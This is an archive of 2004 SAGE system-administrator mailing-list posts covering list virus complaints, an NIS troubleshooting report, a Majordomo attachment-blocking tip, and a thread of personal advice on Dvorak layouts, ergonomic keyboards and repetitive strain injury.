sage-members-owner@usenix.org Thu Jan 22 06:45:39 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0MEjccH010470 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 22 Jan 2004 06:45:38 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0MEjcCp010469 for sage-members-outgoing; Thu, 22 Jan 2004 06:45:38 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0MEjZcH010465 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 22 Jan 2004 06:45:36 -0800 (PST) Received: from [10.0.1.2] (localhost.his.com [127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i0MEjGxm001142; Thu, 22 Jan 2004 09:45:26 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: <20040122050323.GA26017@snew.com> References: <200401201842.i0KIgXig029095@ace.DELOS.COM> <20040122050323.GA26017@snew.com> Date: Thu, 22 Jan 2004 15:33:01 +0100 To: sage-members@usenix.org From: Brad Knowles Subject: Re: [SAGE] viruses, spam Cc: sage-members@sage.org, Chuck Yerkes Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 9:03 PM -0800 2004/01/21, Chuck Yerkes wrote: > So perhaps this is a "you must be this tall ------>" > test. > > If you get the virus, then you can't play on SAGE. Unfortunately, the virus doesn't tell us who is actually infected. If it did, this would be a much simpler problem to solve. Indeed, it was stupidity over the use of Microsoft Outlook or Exchange that caused me to permanently end my relationship with dc.sage. There were too many people on the list who were unwilling or unable to use something more suitable, and they were unwilling or incapable of using the filtering tools provided to them by the vendor, so instead they bitched and bitched until I got tired of it all. -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Thu Jan 22 06:45:56 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0MEjqcH010492 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 22 Jan 2004 06:45:56 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0MEjp2Y010491 for sage-members-outgoing; Thu, 22 Jan 2004 06:45:52 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0MEjZcJ010465 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 22 Jan 2004 06:45:50 -0800 (PST) Received: from [10.0.1.2] (localhost.his.com [127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i0MEjGxm001142; Thu, 22 Jan 2004 09:45:26 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: <20040122050323.GA26017@snew.com> References: <200401201842.i0KIgXig029095@ace.DELOS.COM> <20040122050323.GA26017@snew.com> Date: Thu, 22 Jan 2004 15:33:01 +0100 To: sage-members@usenix.org From: Brad Knowles Subject: Re: [SAGE] viruses, spam Cc: sage-members@sage.org, Chuck Yerkes Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 9:03 PM -0800 2004/01/21, Chuck Yerkes wrote: > So perhaps this is a "you must be this tall ------>" > test. > > If you get the virus, then you can't play on SAGE. Unfortunately, the virus doesn't tell us who is actually infected. If it did, this would be a much simpler problem to solve. Indeed, it was stupidity over the use of Microsoft Outlook or Exchange that caused me to permanently end my relationship with dc.sage. There were too many people on the list who were unwilling or unable to use something more suitable, and they were unwilling or incapable of using the filtering tools provided to them by the vendor, so instead they bitched and bitched until I got tired of it all. -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Thu Jan 22 07:55:45 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0MFticH012127 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 22 Jan 2004 07:55:44 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0MFti3H012126 for sage-members-outgoing; Thu, 22 Jan 2004 07:55:44 -0800 (PST) Received: from ke.earlham.edu (ke.earlham.edu [159.28.1.93]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0MFtgcH012122 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 22 Jan 2004 07:55:43 -0800 (PST) Received: from llya010.lly.earlham.edu (llya010.lly.earlham.edu [159.28.7.10]) (authenticated bits=0) by ke.earlham.edu (8.12.6/8.12.6) with ESMTP id i0MFtcCF025069 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 22 Jan 2004 10:55:41 -0500 (EST) (envelope-from littejo@earlham.edu) Date: Thu, 22 Jan 2004 10:55:33 -0500 (EST) From: John Rowan Littell X-X-Sender: rowan@llya010.lly.earlham.edu To: sage-members@usenix.org Subject: Re: [SAGE] NIS conniption fits - update In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sanitizer: This message has passed the MIMEDefang sanitizer. X-Sanitizer-URL: http://www.earlham.edu/~ecs X-Sanitizer-Version: MIMEDefang/ECSanitizer $Revision: 1.16 $ X-Sanitizer-Config-Version: $Revision: 1.136 $ X-Scanned-By: MIMEDefang 2.33 (www . roaringpenguin . com / mimedefang) Sender: owner-sage-members@usenix.org Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Status update: Yesterday I did as Julian suggested and put all the information for all the cluster hosts in all of the systems' /etc/hosts file. However, it just now happened again. On the third hand, I was re-reading a bit of Managing NFS and NIS, and came across the rpcinfo -b command, which reminded me that I had yet another system in the NIS cluster: a most annoying Snap! server which was responding to the broadcast queries. Rather than adding it to the hosts file as well, I simply shut it down (it's little used and on its last legs). It could very well have a number of "interesting" features about it, ranging from not-well synchronized clock (the rest of the systems all peer to the same NTP sources), decidedly non-standard NIS implementation, practically no security worth mentioning ... the list goes on. I'll try running without that for a while and see if the problem goes away. This time (as I have sometimes in the past) I captured around 50 MB of NIS traffic between two systems over the span of a minute or so. I'd be interested if anyone has pointers to analysis tools specifically for NIS data. Ethereal is nice, but it's taken 15 minutes to load 3/4 of the data, and it's still a pretty blunt instrument for telling me what kind of stuff is happening. What it does tell me is that most of the traffic is ypserv v2 NEXT calls and replies on the group.byname map. I checked on all the cluster members (FreeBSD and Solaris) this time, and the Solaris ones were just as affected as far as not being able to do something like 'finger user'. Other interesting fact: 'ypcat mapname' continues to work as long as the domain is bound, even if 'finger user' hangs. The domain remains bound for most of the problem period, although sometimes ypwhich comes back as not bound. --rowan - -- John "Rowan" Littell Systems Administrator Earlham College Computing Services http://www.earlham.edu/~littejo/ 2004-01-22 10:34 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (Darwin) Comment: Made with pgp4pine 1.76 iQCVAwUBQA/yfJdUNSJ2nf/5AQHrDgP+JzIDh/tNMFQd2R9z6VIPpuDJMhTX62Z6 hHyiP6Knbsk73QY9g2k/omqYmXSsKdAtPHORQ5sa0rxXJ5CbikU3VdwA8rBYjQ2m N+aseefSFbGIDNkiTCepqGIxJiciHMaJgliB/t4F0d1+7VOszkBkUCfBr7/Bi5bR Et0/bfEp+KU= =f0Kd -----END PGP SIGNATURE----- From sage-members-owner@usenix.org Thu Jan 22 08:43:11 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0MGhAcH013279 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 22 Jan 2004 08:43:10 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0MGhAf0013278 for sage-members-outgoing; Thu, 22 Jan 2004 08:43:10 -0800 (PST) Received: from exgw2.lumeta.com (exgw2.lumeta.com [65.198.68.66]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0MGh9cG013274 for ; Thu, 22 Jan 2004 08:43:09 -0800 (PST) Received: from ingw2.lumeta.com (h65-246-245-2.lumeta.com [65.246.245.2]) by exgw2.lumeta.com (Postfix) with ESMTP id 047D65F9071 for ; Thu, 22 Jan 2004 11:38:17 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by ingw2.lumeta.com (Postfix) with ESMTP id 5DD395196F for ; Thu, 22 Jan 2004 11:43:08 -0500 (EST) Received: from ingw2.lumeta.com ([127.0.0.1]) by localhost (ingw2.lumeta.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 64942-04 for ; Thu, 22 Jan 2004 11:42:35 -0500 (EST) Received: from lucy.corp.lumeta.com (lucy.corp.lumeta.com [65.246.245.10]) by ingw2.lumeta.com (Postfix) with ESMTP id B992F5194D for ; Thu, 22 Jan 2004 11:41:52 -0500 (EST) Received: from lulu.corp.lumeta.com (lulu.corp.lumeta.com [65.246.245.9]) by lucy.corp.lumeta.com (Postfix) with ESMTP id 9DECAA8BE7 for ; Thu, 22 Jan 2004 11:41:52 -0500 (EST) Received: from gsieb2.corp.lumeta.com by lulu.corp.lumeta.com with ESMTP id 2319641074789602; Thu, 22 Jan 2004 11:40:02 -0500 From: "Glenn E. Sieb" To: sage-members@usenix.org Subject: [SAGE] Suggestions for Dvorak (learning/good keyboards/etc) Date: Thu, 22 Jan 2004 11:40:04 -0500 Organization: Lumeta Corporation X-Sent-Folder-Path: Sent Items X-Mailer: Oracle Connector for Outlook 9.0.4 51015 (10.0.4712) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Message-Id: <20040122164152.9DECAA8BE7@lucy.corp.lumeta.com> X-Virus-Scanned: by amavisd-new at lumeta.com Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by usenix.org id i0MGh9cG013275 Sender: owner-sage-members@usenix.org Precedence: bulk Over the past few years, on and off, I have trouble with my elbows. My doctor tells me it's a sign of repetitive motion injury, and I should try and change things like the keyboard(s) I use, and the way I type. I'm a fairly competent (140wpm or so) typist on a Sholes/Qwerty keyboard, and I have a few friends who use Dvorak and insist it's a good way to go, along with possibly an old Northgate Ultra/Avant Stellar, or one of the wackier split keyboards. I've used split keyboards in the past, but, being a touch typist, they annoy me as they always seem to put the 6 on the left hand, which tends to annoy me.. Anywho.. I figured people here might have some good suggestions. :) Thanks in advance! Glenn -- Glenn E. Sieb System Administrator Lumeta Corporation +1 732 357-3514 (V) +1 732 564-0731 (Fax) From sage-members-owner@usenix.org Thu Jan 22 09:24:37 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0MHObcH014360 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 22 Jan 2004 09:24:37 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0MHOawu014359 for sage-members-outgoing; Thu, 22 Jan 2004 09:24:36 -0800 (PST) Received: from mithril.entelos.com (mithril.entelos.com [12.22.57.197]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0MHOZcG014354 for ; Thu, 22 Jan 2004 09:24:36 -0800 (PST) X-MimeOLE: Produced By Microsoft Exchange V6.0.6375.0 Content-Class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Subject: RE: [SAGE] Keeping yourself sharp... Date: Thu, 22 Jan 2004 09:21:56 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [SAGE] Keeping yourself sharp... Thread-Index: AcPgaJD5BVbdGlMgQKy/VXdoTlnKGQANWSbAABuCxwA= From: "Dave Hilton" To: Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by usenix.org id i0MHOacG014356 Sender: owner-sage-members@usenix.org Precedence: bulk Dustin mentioned gloating - - - Mayhap some of us were in that area in the '60s. I am not gloating. Hilton From sage-members-owner@usenix.org Thu Jan 22 09:31:24 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0MHVOcH014830 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 22 Jan 2004 09:31:24 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0MHVOfa014829 for sage-members-outgoing; Thu, 22 Jan 2004 09:31:24 -0800 (PST) Received: from crusoe.degler.net (crusoe.degler.net [66.114.64.229]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0MHVLcH014825 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Thu, 22 Jan 2004 09:31:22 -0800 (PST) Received: from crusoe.degler.net (localhost [127.0.0.1]) by crusoe.degler.net (8.12.9p1/8.12.9) with ESMTP id i0MHVEg1005371 for ; Thu, 22 Jan 2004 12:31:14 -0500 (EST) Received: (from chuck@localhost) by crusoe.degler.net (8.12.9p1/8.12.9) id i0MHVEDh018275 for sage-members@usenix.org; Thu, 22 Jan 2004 12:31:14 -0500 (EST) Date: Thu, 22 Jan 2004 09:31:14 -0800 From: Chuck Yerkes To: sage-members@usenix.org Subject: Re: [SAGE] viruses, spam Message-ID: <20040122173114.GA5780@snew.com> Reply-To: sage-members@usenix.org References: <200401201842.i0KIgXig029095@ace.DELOS.COM> <20040122050323.GA26017@snew.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4i X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham version=2.60 X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on crusoe.degler.net Sender: owner-sage-members@usenix.org Precedence: bulk Quoting Brad Knowles (brad.knowles@skynet.be): > At 9:03 PM -0800 2004/01/21, Chuck Yerkes wrote: ... > unable to use something more suitable, and they were unwilling or > incapable of using the filtering tools provided to them by the > vendor, so instead they bitched and bitched until I got tired of it > all. Well, we've seen all this about "Cyber attacks" and a starting awareness of the importance of the Internet and a (finally) growing awareness of the truism which I first heard in public from Cheswick about the Internet becoming like having state after state planted with exactly the same strain of wheat - just waiting for weevils... (all this despite the "cover our ears" actions like firing CTOs for daring voice this). We at Usenix could take leadership and start to identify the things that could enstrengthen* this "Axis of Weevil" - in cyber terms... Perhaps we should instead pass out buttons at LISA/Usenix events: "If you use Outlook and IE, you're contributing to Terrorism." chuck *I'm enstriving to speak like the Resident of the United States. From sage-members-owner@usenix.org Thu Jan 22 09:52:06 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0MHq6cH015548 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 22 Jan 2004 09:52:06 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0MHq6pI015546 for sage-members-outgoing; Thu, 22 Jan 2004 09:52:06 -0800 (PST) Received: from pimout3-ext.prodigy.net (pimout3-ext.prodigy.net [207.115.63.102]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0MHq4cG015542 for ; Thu, 22 Jan 2004 09:52:04 -0800 (PST) Received: from therondosseycpa.com (adsl-65-71-99-193.dsl.hstntx.swbell.net [65.71.99.193]) by pimout3-ext.prodigy.net (8.12.10/8.12.10) with ESMTP id i0MHq3MH118272 for ; Thu, 22 Jan 2004 12:52:03 -0500 Received: from localhost (localhost.localdomain [127.0.0.1]) by therondosseycpa.com (8.12.10/8.11.6) with ESMTP id i0MItdQU003779 for ; Thu, 22 Jan 2004 12:55:39 -0600 Date: Thu, 22 Jan 2004 12:55:39 -0600 (CST) From: Justin Dossey X-X-Sender: jbd@localhost.localdomain To: sage-members@usenix.org Subject: Re: [SAGE] Suggestions for Dvorak (learning/good keyboards/etc) In-Reply-To: <20040122164152.9DECAA8BE7@lucy.corp.lumeta.com> Message-ID: References: <20040122164152.9DECAA8BE7@lucy.corp.lumeta.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-sage-members@usenix.org Precedence: bulk I went to all the trouble of learning the two-handed Dvorak layout because of RSI. It's fast, but I found that the motion was even more repetitive than the QWERTY layout-- all up and down, no stretches or pauses. This made my RSI even worse! Also, switching back and forth between Dvorak and QWERTY is serious not-fun. After a few months on Dvorak, my fingers just didn't know the QWERTY layout anymore! Regular breaks and proper exercise wound up being much more effective for me with my RSI, even more so than ergonomic workstation changes. There are applications like XGrabber ( http://sourceforge.net/projects/xgrabber/ ) that help you remember to take breaks. Good luck with Dvorak if you go with it. Justin Dossey On Thu, 22 Jan 2004, Glenn E. Sieb wrote: > Over the past few years, on and off, I have trouble with my elbows. My doctor tells me it's a sign of repetitive motion injury, and I should try and change things like the keyboard(s) I use, and the way I type. I'm a fairly competent (140wpm or so) typist on a Sholes/Qwerty keyboard, and I have a few friends who use Dvorak and insist it's a good way to go, along with possibly an old Northgate Ultra/Avant Stellar, or one of the wackier split keyboards. I've used split keyboards in the past, but, being a touch typist, they annoy me as they always seem to put the 6 on the left hand, which tends to annoy me.. > > Anywho.. I figured people here might have some good suggestions. :) > > Thanks in advance! > Glenn > > From sage-members-owner@usenix.org Thu Jan 22 10:57:52 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0MIvqcH016986 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 22 Jan 2004 10:57:52 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0MIvp5d016985 for sage-members-outgoing; Thu, 22 Jan 2004 10:57:51 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0MIvncH016981 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 22 Jan 2004 10:57:50 -0800 (PST) Received: from [10.0.1.2] (localhost.his.com [127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i0MIvixg018853; Thu, 22 Jan 2004 13:57:48 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: <20040122164152.9DECAA8BE7@lucy.corp.lumeta.com> References: <20040122164152.9DECAA8BE7@lucy.corp.lumeta.com> Date: Thu, 22 Jan 2004 19:34:53 +0100 To: "Glenn E. Sieb" From: Brad Knowles Subject: Re: [SAGE] Suggestions for Dvorak (learning/good keyboards/etc) Cc: sage-members@usenix.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 11:40 AM -0500 2004/01/22, Glenn E. Sieb wrote: > Anywho.. I figured people here might have some good suggestions. :) I also suffer from RSI, and I've done a bit of research on the subject. The problem is that RSI is an intensely personal subject, and the exact nature of the problems differ widely. The differences are so extreme that what works for one person will rarely work for the next. In my case, my RSI is primarily triggered by mouse usage. For you, it may require trying all sorts of different RSI-reducing devices until such time as you find something that works for you, and this process should probably also involve your doctor and/or physiotherapist. For people with RSI primarily triggered by keyboard use, the thing that usually helps most of them, and helps those the most, is to use a keyboard that allows you to rotate the wrists so that they are essentially vertical, as opposed to the traditional IBM Selectric horizontal position that has been taught in typing classes since the mid-80s. See for an example of such a keyboard. The "humped" keyboards that cause the wrists to be straightened (such as the Microsoft ergonomic keyboard) usually don't help very much, and they usually don't help very many people. However, they're a lot easier and cheaper to manufacture than the types that allow you to rotate the wrists vertically, so that is what the vendors push. If you were to go this route, I would suggest something like the Kinesis Contour instead (see ). For many people, chording keyboards can also be very helpful. See for one example. See for a list of vendors of various ergonomic products, and for vendors of keyboards, including ergonomic models. I can also highly recommend the Alimed company as a supplier of various health-related and ergonomic products. I've used them for a long time, including wrist braces, arm bands, and various other products to help reduce my RSI problems. -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Thu Jan 22 12:46:02 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0MKk2cH019408 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 22 Jan 2004 12:46:02 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0MKk2N2019407 for sage-members-outgoing; Thu, 22 Jan 2004 12:46:02 -0800 (PST) Date: Thu, 22 Jan 2004 12:46:02 -0800 (PST) From: owner-sage-members@usenix.org Message-Id: <200401222046.i0MKk2N2019407@voyager.usenix.org> RK> OK -- no more attachments for sage-members. I'll do this after lunch. Sender: owner-sage-members@usenix.org Precedence: bulk DC> Please tell us what you did to block them. I use demime very successfully DC> but I'm always interested to learn about other techniques. If you're running Majordomo, you can add something like "Content-Type: application" to the taboo_body regexp; that'll bounce messages with attached applications to the list owner, who can approve them in the unlikely event that they're actually something useful, or ignore them if they're viruses or spam. If you want to catch a wider array of attachments, similar strings in the taboo_body or taboo_headers regexps can do the trick. -Josh (irilyth@infersys.com) From sage-members-owner@usenix.org Thu Jan 22 12:56:17 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0MKuHcH019913 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 22 Jan 2004 12:56:17 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0MKuGa1019912 for sage-members-outgoing; Thu, 22 Jan 2004 12:56:17 -0800 (PST) Received: from ace.DELOS.COM (ace.DELOS.COM [192.65.171.163]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0MKuFcG019906 for ; Thu, 22 Jan 2004 12:56:16 -0800 (PST) Received: from ace.DELOS.COM (kolstad@localhost.DELOS.COM [127.0.0.1]) by ace.DELOS.COM (8.12.10/8.12.10) with ESMTP id i0MKuFZZ013745 for ; Thu, 22 Jan 2004 13:56:15 -0700 (MST) Received: (from kolstad@localhost) by ace.DELOS.COM (8.12.10/8.12.10/Submit) id i0MKuFTv013744 for sage-members@usenix.org; Thu, 22 Jan 2004 13:56:15 -0700 (MST) Received: from mail.eecs.harvard.edu (postfix@bowser.eecs.harvard.edu [140.247.60.24]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0MJUKcG018033 for ; Thu, 22 Jan 2004 11:30:20 -0800 (PST) Received: by mail.eecs.harvard.edu (Postfix, from userid 32284) id 104AB54C58F; Thu, 22 Jan 2004 14:29:41 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by mail.eecs.harvard.edu (Postfix) with ESMTP id 0344E54C58C; Thu, 22 Jan 2004 11:29:41 -0800 (PST) Date: Thu, 22 Jan 2004 11:29:40 -0800 (PST) From: Trey Harris To: Justin Dossey Cc: sage-members@usenix.org Subject: Re: [SAGE] Suggestions for Dvorak (learning/good keyboards/etc) In-Reply-To: Message-ID: <20040122110442.K54968@bowser.eecs.harvard.edu> References: <20040122164152.9DECAA8BE7@lucy.corp.lumeta.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-sage-members@usenix.org Precedence: bulk In a message dated Thu, 22 Jan 2004, Justin Dossey writes: > I went to all the trouble of learning the two-handed Dvorak layout > because of RSI. It's fast, but I found that the motion was even more > repetitive than the QWERTY layout-- all up and down, no stretches or > pauses. This made my RSI even worse! Also, switching back and forth > between Dvorak and QWERTY is serious not-fun. After a few months on > Dvorak, my fingers just didn't know the QWERTY layout anymore! Interesting. That wasn't my experience at all, but as Brad Knowles said, RSI is always a personal thing with personal solutions. I switched to Dvorak eleven years ago now. I now know it was a stricly palliative measure, but for my symptoms the reduction of motion and stretching helped. (In general, most palliatives for RSI involve immobilization in one way or another.) I have no trouble touch-typing in either QWERTY or Dvorak, and switching isn't hard. In fact, I do it without thinking when I type a few keys on the wrong layout. The hardest part of the switch for me is non-mnemonic control keys, especially in editors, because I learn those by finger memory, not by letter. I don't know if you meant to generalize to this point, but I've heard it before, and I'm guessing that the theory that QWERTY is better for RSI than Dvorak is based on the sound idea in ergonomics that larger, sweeping motions are better than small, twitchy ones. However, there are at least two problems with applying this to the QWERTY/Dvorak distinction. One is that your hands are dorsiflected and in ulnar deviation when you type on a standard keyboard, and when you are in that injurious position, you want to minimize movement, not maximize it. Another is that the small vs. large motion idea is on a much bigger scale than the differential between QWERTY and Dvorak. To put this idea into practice, you'd want to move from Dvorak to a sign-language-ish gesture input system, not to QWERTY. Both QWERTY and Dvorak are small, twitchy movements in the ergonomic sense, and for most people, the decrease in awkward stretches in Dvorak probably would offset the increased motion of QWERTY. (But everyone is different, and YMMV.) Remember, don't plant your palms on the desktop or "wrist rest". Float your hands over the home row. Don't reach for the delete, function and escape keys; move your whole hand to them. When possible, use one hand for the modifier key and the other for the keystroke. Every time--EVERY TIME--you stop typing and mousing to look at your screen, take your hands away from the keyboard and rest them in your lap or do a splayed-finger stretch. Take a one minute break for a good serious stretch every 20 minutes, more frequently if you're typing code or control-keys. Take a longer break every hour. Always stretch before beginning typing after more than a five minute break. Finally, to Glenn I'd say: don't self-diagnose and self-prescribe. This is the single largest problem with RSI, I think. Switching to Dvorak was my first self-prescription. Five years and several more palliatives later, my hands were almost useless until I completed six months of grueling physical therapy. Don't follow the same road, see an ergonomist or doctor who specializes in soft-tissue injury. (And please, if the doctor's first conversation with you centers on surgery, don't walk, *run* to another doctor.) Trey From sage-members-owner@usenix.org Thu Jan 22 16:16:32 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0N0GVcH023174 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 22 Jan 2004 16:16:31 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0N0GVic023172 for sage-members-outgoing; Thu, 22 Jan 2004 16:16:31 -0800 (PST) Received: from rijpat-s-323-a2.europe.shell.com (gi-smtpout2-eu.shell.com [145.26.110.69]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0N0GTcG023168 for ; Thu, 22 Jan 2004 16:16:30 -0800 (PST) Received: from RIJPAT-S-337-a2.europe.shell.com ([145.26.111.110]) by rijpat-s-323-a2.europe.shell.com with Microsoft SMTPSVC(5.0.2195.5329); Fri, 23 Jan 2004 01:16:27 +0100 Received: from mail pickup service by RIJPAT-S-337-a2.europe.shell.com with Microsoft SMTPSVC; Fri, 23 Jan 2004 01:14:17 +0100 Received: from usenix.org ([131.106.3.1]) by RIJPAT-S-337-a2.europe.shell.com with Microsoft SMTPSVC(5.0.2195.5329); Thu, 22 Jan 2004 18:33:24 +0100 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0MHVvcH014933 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 22 Jan 2004 09:31:58 -0800 (PST) Received: from localhost (majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) with SMTP id i0MHVv2x014932; Thu, 22 Jan 2004 09:31:57 -0800 (PST) Received: by voyager.usenix.org (bulk_mailer v1.13); Thu, 22 Jan 2004 09:31:25 -0800 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0MHVOcH014830 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 22 Jan 2004 09:31:24 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org 